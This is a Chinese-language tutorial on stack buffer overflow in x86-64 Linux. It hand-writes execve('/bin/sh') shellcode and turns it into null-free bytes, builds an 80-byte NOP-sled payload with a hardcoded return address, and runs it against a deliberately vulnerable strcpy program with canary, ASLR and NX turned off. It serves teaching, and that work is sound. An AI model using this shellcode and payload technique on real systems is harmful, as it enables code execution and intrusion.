天天看点

栈溢出攻击和shellcode

README

本文默认读者熟悉C语言编程,熟悉常见的C标准库函数的行为(如strcpy),熟悉x86汇编语法和常见汇编指令的行为,了解linux进程内存布局,了解函数调用过程和栈帧的概念,了解linux x86-64调用规约,同时对栈溢出攻击有一个基本的认知。

文章会通过一个栈溢出攻击的DEMO,来展示一个典型的shellcode是如何打造,如何工作的。

文章将抛开宏观层面的解释,尽量细致地阐述shellcode的构建过程和异常问题分析等诸多细节,帮助读者把栈溢出攻击和shellcode理解的更清晰。

其实,栈溢出攻击早已经被丢进了历史的垃圾桶。

人们针对栈溢出攻击有3个防范手段:

1.金丝雀(canary)

2.地址随机化(ASLR)

3.栈不可执行(NX)

为了实现这个DEMO,需要关闭这3个防范手段。

开始正题之前,先简单温习一些基础知识:调用规约,栈帧和函数调用过程。

先看一下linux x86-64调用规约

栈溢出攻击和shellcode

再看一下栈帧的样子:

栈溢出攻击和shellcode

CPU基于栈实现函数调用,程序每调用1个函数,都会创建一个栈帧。

x86 CPU有2个专用的栈寄存器(不考虑FPO)rbp 和 rsp。

rbp寄存器总是指向栈底,rsp寄存器总是指向栈顶

x86-64的栈是满减栈,入栈时,栈指针rsp总是向下(向低地址方向)移动,且总是指向一个有效元素。

rsp和rbp之间的栈空间存放着当前函数的局部变量,rbp向上(向高地址方向)分别存放着父函数栈帧的rbp(通常叫做old-rbp),返回地址(return-addr)以及父函数传递给子函数的参数。

x86 CPU的函数调用由call指令实现,call指令做2件事:

1.当前rip寄存器的值压入堆栈,这个值通常叫做返回地址(上图黄色块,returen-addr)

2.向rip寄存器写入子函数的入口地址,该地址依赖于call指令的操作数。

跳转到子函数后,子函数通常都会执行下面2条指令来创建自己的栈帧(不考虑FPO),这2条指令通常叫做函数序言。

  1. push %rbp (保存父函数的rbp,上图old-rbp块)
  2. mov %rsp, %rbp (让rbp与rsp重合,1个新的栈帧创建成功)

接下来会为局部变量分配栈空间,然后执行子函数体。

  1. sub $0x50,%rsp (分配80Byte的栈空间用于存放函数的局部变量)

子函数返回前,会做反向动作:

6.通过leave指令恢复调用者函数栈帧。(leave指令执行函数序言的反操作,弹出栈顶元素到rbp)

7.最后通过ret指令返回到调用者函数,ret指令会弹出栈顶元素到rip寄存器

ret指令是栈溢出攻击的核心指令,因为该指令把栈上的数据写入rip。倘若我们能通过某种方法篡改栈上的这段数据,让rip指向我们的攻击代码,便实现了攻击。

开始正题:

I. 构造shellcode

狭义地讲,shellcode就是一段可以运行起一个shell的代码。

广义地讲,shellcode就是一段被精心构造的攻击代码,用来达成攻击者的目的。

下面就开始手写一段shellcode第1版 (啥?难不成还有第2版?确实有)

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
	
str:
	call entry_point
	.ascii "/bin/sh"
           

简单解释一下这段代码:

第1行声明从这里开始一个段,名字叫.text

第2行声明_start是全局符号

第3行声明符号_start

第4行跳转到符号str处执行

第5行声明局部符号entry_point

第6行取出栈顶元素写入rcx寄存器

第7行空行

第8行rdx寄存器清0 (x86-64调用规约,第3个参数通过rdx传递)

第9行rsi寄存器清0 (第2个参数通过rsi传递)

第10行rcx寄存器的值写入rdi寄存器 (第1个参数通过rdi传递)

第11行向rax寄存器写入十进制数字59 (系统调用号通过rax传递)

第12行发起系统调用请求,陷入内核

第13行空行

第14行声明局部符号str

第15行跳转到符号entry_point处执行

第16行声明一段使用ASCII字符的文本字符串

前2行的.text和_start这2个符号不能乱写,ld内部集成的链接脚本默认引用这些符号,随意修改会导致链接出问题。

第7和第13行这2个空行是我故意留下来的分隔符:

2个空行中间的代码,是用来给59号系统调用execve传参并发起系统调用请求的,这是shellcode的核心代码。

execve的定义:

int execve(const char *filename, char *const argv[], char *const envp[]);

空行上面和空行下面的2段代码,是shellcode的基本框架,其作用是实现动态获取字符串/bin/sh的地址。

如何做到的?回顾前面温习过的关于call指令的知识,因为字符串/bin/sh被放在了call指令的下面,执行call指令时,call指令的下1条指令的地址,也就是/bin/sh字符串的地址会被压栈,call指令执行结束后,流程跳到entry_point,此时通过pop指令,即可取到字符串/bin/sh的地址。这样可以免去对/bin/sh地址硬编码,硬编码越少,shellcode越健壮。

OK,代码介绍完了。代码保存成shellcode.asm, 汇编并链接该程序

as -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o
           

验证shellcode能否正常工作,运行一下shellcode进程,果然打开了一个shell,运行几条命令,输出正常。

[email protected]:/root/shellcode# ./shellcode 
# pwd
/root/shellcode
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
[email protected]:/root/shellcode#
           

接下来需要把shellcode进程的代码段dump出来,使用objdump工具查看代码段信息

[email protected]:/root/shellcode# objdump -h shellcode
shellcode:     file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         0000001d  0000000000400078  0000000000400078  00000078  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
           

得到信息:偏移0x78 = 120 字节,长度为 0x1d = 29字节。

用dd命令导出这段数据,随便起个名字叫shitcode:

[email protected]:/root/shellcode# dd if=shellcode of=shitcode bs=1 count=29 skip=120
29+0 records in
29+0 records out
29 bytes copied, 0.00028993 s, 100 kB/s
           

再使用hexdump命令查看一下shitcode

[email protected]:/root/shellcode# hexdump -Cv shitcode 
00000000  eb 0f 59 31 d2 48 31 f6  48 89 cf 48 83 c0 3b 0f  |..Y1.H1.H..H..;.|
00000010  05 e8 ec ff ff ff 2f 62  69 6e 2f 73 68           |....../bin/sh|
0000001d
           

这29字节数据,就是shellcode的核心,运行这段代码,他就会请求kernel为我们启动一个shell

注意看hexdump的输出:这段shellcode中是不包含0字符的,这个条件是必须要满足的,因为几乎所有的输入函数,都是以0字符作为结束标志。shellcode中包含0字符会导致输入函数提前返回,注入失败。

如果你写的shellcode编译后发现有0字符,需要想办法替换成不含0字符的同义指令。

比如 mov $0, %rax 可以改写成 xor %rax, %rax

II. 寻找溢出点,计算返回地址

victim.c

#include <stdio.h>
#include <string.h>
#define BUFSIZE 64
int main(int argc, char *argv[])
{
	char buf[BUFSIZE];
	printf("Buf: %p\n", &buf);
	strcpy(buf, argv[1]);
	return 0;
}
           

这段代码使用了strcpy函数,把外界传入的参数写入栈上的缓冲区。

strcpy函数的行为很简单:一个字符一个字符地读取源字符串,写入到目的缓冲区,直到有一天在源字符串中读到一个0字符,才停止。

这里就是一个典型的溢出点:

让strcpy函数读入shellcode,当局部数组buf溢出时,就会覆盖掉返回地址,再想办法把返回地址覆盖成shellcode的入口地址,当函数执行ret指令时,就跳到了shellcode入口,如此即可实现攻击。

从victim.c源代码中我们可以看到函数中只有1个局部变量buf,大小是64Byte,根据前面的栈帧结构的图片,很容易推测出,返回地址(return-addr)距离buf的起始地址是 64+8(old-rbp) = 72Byte,而返回地址(return-addr)本身的大小是8Byte,若想覆盖掉返回地址,shellcode的长度至少是80Byte.

那么问题来了,前面我们制作的shellcode貌似只有29Byte怎么办,这个好办,使用花指令填充就行了,最常用的花指令就是nop空操作指令(no opration)该指令仅占用1Byte长度,CPU指令nop指令时做空操作(空操作就是啥也不做),执行nop指令不会影响任何寄存器的值(当然,rip会+1。这不是屁话吗,多余说)

好了,大致分析完了,再重复1遍:根据victim.c的代码,我们的shellcode将会通过命令行参数的形式,被危险函数strcpy读入到局部变量buf中,shellcode的长度至少是80Byte才可以覆盖到返回地址,覆盖到返回地址的值应该是shellcode的入口地址,也就是buf的起始地址,于是最重要的问题终于来了:我们如何知道buf的起始地址呢?

答案是,没办法知道,所以文章结束,您洗洗睡吧。

但是,我们只是在做1个栈溢出攻击的DEMO嘛,自带上帝视角,所有的不爽我们都可以用手解决,buf地址是多少,我干脆用printf打印出来。

你猜buf的地址是固定的吗?很久以前是,现在不是了,这就是前面提到的保护措施2:地址随机化。

这个保护措施是linux内核默认开启的,每次应用程序在装载的过程中,内核都会把堆,栈,映射区等起始地址随机化。但是shellcode是死的,如果buf地址每次都不一样,这就没得玩了。

怎么办?上帝之手,来。

关闭地址随机化需要root执行这条命令:

echo 0 > /proc/sys/kernel/randomize_va_space

关闭地址随机化后,每次运行程序victim,buf的地址是不变的。

前面还提到了另外的保护措施1,3,上帝之手,再来。

在编译时指定2个额外的参数:

gcc -o victim victim.c -fno-stack-protector -z execstack

其中

-fno-stack-protector 关闭1,金丝雀(金丝雀是编译器放在栈底的一个随机数,编译器会插入代码,在函数返回时判断随机数是否被篡改,一旦检测到被篡改就会让进程自杀)

-z execstack 关闭3,栈不可执行 (shellcode是写入到栈上的,必须让栈有可执行权限,否则CPU取指会触发MMU异常,同样会导致内核终止当前程序)

oh,yes, 被上帝之手抚摸过以后,现在基本没有阻碍了,这时我们才有机会做栈溢出攻击。

shellcode里需要硬编码的返回地址填写多少呢?因为没有了地址随机化,每次buf的地址是固定的,给buf传递80个字节,看看buf的地址是多少。

[email protected]:/root/shellcode# ./victim 11111111111111111111111111111111111111111111111111111111111111111111111111111111
Buf: 0x7fffffffe410
Segmentation fault (core dumped)
           

这里有个小细节可能会令你很诧异:传递参数的长度不同,buf的地址居然不同,怎么回事,说好了没有地址随机化的?!

其实地址随机化确实已经关闭了,但因为我们是通过main函数的argv传参,参数本身也会占用栈空间,导致main函数局部变量的地址变化,参数长度越长,buf的地址会越小。

翻到前面看一下栈帧的图片,命令行参数和环境变量,是位于main函数栈帧上面的。

OK,至此,拿到了buf的运行时的地址:0x7fffffffe410,这个地址就是要硬编码到shellcode中的返回地址。

此处仍然有一个小问题需要注意:通常栈空间的起始地址都是对齐的,最低字节很可能是0。 假设我们运行后发现buf的地址是0x7fffffffe400,此时返回地址包含0字符,同样会使输入函数strcpy提前返回,shellcode无法完全注入。这种情况下,我们需要稍微改一改这个返回地址,比如填写成0x7fffffffe411。虽然偏了17个字节,但好在shellcode前面填充很多的nop指令,只要保证返回地址落到nop指令区间上,依然可以一步一步走进shellcode的入口。

III. 构建完备的shellcode

根据前面的分析,现在我们需要构建一个完备的shellcode了,他最终的样子是这样的:

前起始的位置有43个nop指令,每个nop指令1个Byte,共43Byte,紧随其后的是29Byte的shellcode核心,最后面的是8Byte的返回地址,43+29+8 = 80Byte

栈溢出攻击和shellcode

如何构建这样一段数据呢?我特地写了一个小工具:

int main(int argc, char *argv[])
{
	void *p;
	char buf[100];
	switch(argv[1][0]){
	case '1':
		// padding nop
		memset(buf, '\x90', 100);
		/**
		 * how many 'nop' you want to pad
		 * */
		buf[43] = 0;
		printf("%s", buf);
		break;
	case '2':
		//padding return-addr
		/**
		 * Note that return-addr MUST NOT contains 0 char.
		 * */
		p = (void *)0x7fffffffe411;
		memset(buf, 0, 16);
		memcpy(buf, &p, 8);
		printf("%s", buf);
		break;
	}
	return 0;
}
           

函数实现2个功能:

  1. 填充43个nop (nop指令的机器码是0x90)
  2. 填充返回地址0x7fffffffe411

编译这个程序,并构建完备的shellcode:

[email protected]:/root/shellcode# gcc -o pad padding.c
[email protected]:/root/shellcode# ./pad 1 > shellcode
[email protected]:/root/shellcode# cat shitcode >> shellcode
[email protected]:/root/shellcode# ./pad 2 >> shellcode
[email protected]:/root/shellcode# hexdump -Cv shellcode
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000020  90 90 90 90 90 90 90 90  90 90 90 eb 0f 59 31 d2  |.............Y1.|
00000030  48 31 f6 48 89 cf 48 83  c0 3b 0f 05 e8 ec ff ff  |H1.H..H..;......|
00000040  ff 2f 62 69 6e 2f 73 68  11 e4 ff ff ff 7f        |./bin/sh......|
0000004e
[email protected]:/root/shellcode#
           

返回地址0x00007fffffffe411是用%s写入的,高位的0字符没有写入文件,强迫症不能忍,别拦我,我要再补2个0字符。

[email protected]:/root/shellcode# dd if=/dev/zero of=zero bs=1 count=2
2+0 records in
2+0 records out
2 bytes copied, 0.000310199 s, 6.4 kB/s
[email protected]:/root/shellcode# cat zero >> shellcode
[email protected]:/root/shellcode# hexdump -Cv shellcode
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000020  90 90 90 90 90 90 90 90  90 90 90 eb 0f 59 31 d2  |.............Y1.|
00000030  48 31 f6 48 89 cf 48 83  c0 3b 0f 05 e8 ec ff ff  |H1.H..H..;......|
00000040  ff 2f 62 69 6e 2f 73 68  11 e4 ff ff ff 7f 00 00  |./bin/sh........|
00000050
[email protected]:/root/shellcode# 
           

OK,整整齐齐80个字节,看着倍儿舒服,内容也和前面预想的一模一样,完备的shellcode诞生了。赶快试用一下吧!

[email protected]:/root/shellcode# ./victim `cat shellcode`
           

运行起来,并没有启动一个shell,而是停在那里不返回,同时系统会变得非常非常卡顿。

很明显,翻车了。shellcode不但没有工作,还引发了一场灾难。

IV. 分析意外,构造完备的shellcode第2版

这次意外源于另一个细节:

栈溢出攻击和shellcode

传递给execve系统调用的第一个参数,是可执行程序/bin/sh的路径,这个路径一定要以0字符结尾,否则系统调用会因路径错误而执行失败。

再看shellcode第1版源代码:

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
	
str:
	call entry_point
	.ascii "/bin/sh"
           

一旦execve执行失败,syscall指令从内核返回,会继续执行call entry_point跳到上面,沿着pop %rcx指令重新执行系统调用execve。

如此疯狂地,风驰电掣地从用户态和内核态进进出出,成吨的上下文切换成本,导致了CPU飙升,系统卡顿。

如何解决呢?很简单,在shellcode中添加几行代码,执行syscall指令之前,先给/bin/sh字符串结束位置写0。

shellcode第2版代码如下:

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx

	mov %rcx, %rbx
	add $7, %rbx
	xor %rax, %rax
	mov %rax, (%rbx)
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
str:
	call entry_point
	.ascii "/bin/sh"
           

添加了4行代码,通过rbx计算出字符串/bin/sh的结束地址,然后rax清0,把rax的值写入到rbx指向的字符串结束地址上。

[email protected]:/root/shellcode# as -o shellcode.o shellcode2.asm 
[email protected]:/root/shellcode# ld -o shellcode2 shellcode.o
[email protected]:/root/shellcode# objdump -h shellcode2 
shellcode2:     file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         0000002a  0000000000400078  0000000000400078  00000078  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
[email protected]:/root/shellcode# dd if=shellcode2 of=shitcode2 bs=1 count=42 skip=120
42+0 records in
42+0 records out
42 bytes copied, 0.000172601 s, 243 kB/s
[email protected]:/root/shellcode#
           

汇编,链接,查询,提取,一气呵成。

躺在硬盘上的shitcode2文件,就是第2版shellcode的核心代码,大小是42个字节,比之前的29个字节稍大了点。还好,并没有超过72字节,依然可用。

看一眼他的样子吧:

[email protected]:/root/shellcode# hexdump -Cv shitcode2 
00000000  eb 1c 59 48 89 cb 48 83  c3 07 48 31 c0 48 89 03  |..YH..H...H1.H..|
00000010  31 d2 48 31 f6 48 89 cf  48 83 c0 3b 0f 05 e8 df  |1.H1.H..H..;....|
00000020  ff ff ff 2f 62 69 6e 2f  73 68                    |.../bin/sh|
0000002a
[email protected]:/root/shellcode#
           

很完美的shellcode,不包含字符0,依然可以被strcpy全部读入。

如果此时你手贱运行了一下刚刚生成的shellcode2可执行程序,会发现他并没有像第1版一样启动一个shell,而是会报出段错误:

熟悉linux内存管理的同学应该很清楚为什么:

没错,后来添加的指令 mov %rax, (%rbx) 在尝试写代码段,然而代码段是没有写权限的,直接执行该程序时会触发MMU异常,内核会发送SIGSEGV信号杀死进程。

别怕,要知道这段代码最终会被读入栈空间的,在栈上事情就不一样了,栈本身是可写的,前面被上帝之手抚摸过之后,栈也可执行了,shellcode会悄悄地地给/bin/sh结束地址填0,保证execve系统调用执行成功

废话少叙,开始构建完备的shellcode第2版:

返回地址不需要计算,依然是0x7fffffffe411

nop指令填充数需要重新计算:72-42=30,这次只需要填充30个nop。

修改一下之前的padding小工具,设置成写入30个nop。

开始构建:

[email protected]:/root/shellcode# gcc -o pad padding.c
[email protected]:/root/shellcode# ./pad 1 > shellcode2
[email protected]:/root/shellcode# cat shitcode2 >> shellcode2
[email protected]:/root/shellcode# ./pad 2 >> shellcode2
[email protected]:/root/shellcode# cat zero >> shellcode2
           

试用一下

[email protected]:/root/shellcode# ./victim `cat shellcode2`
Buf: 0x7fffffffe410
# pwd
/root/shellcode
#
           

成功!

大总结

我写完了,谢谢观看

继续阅读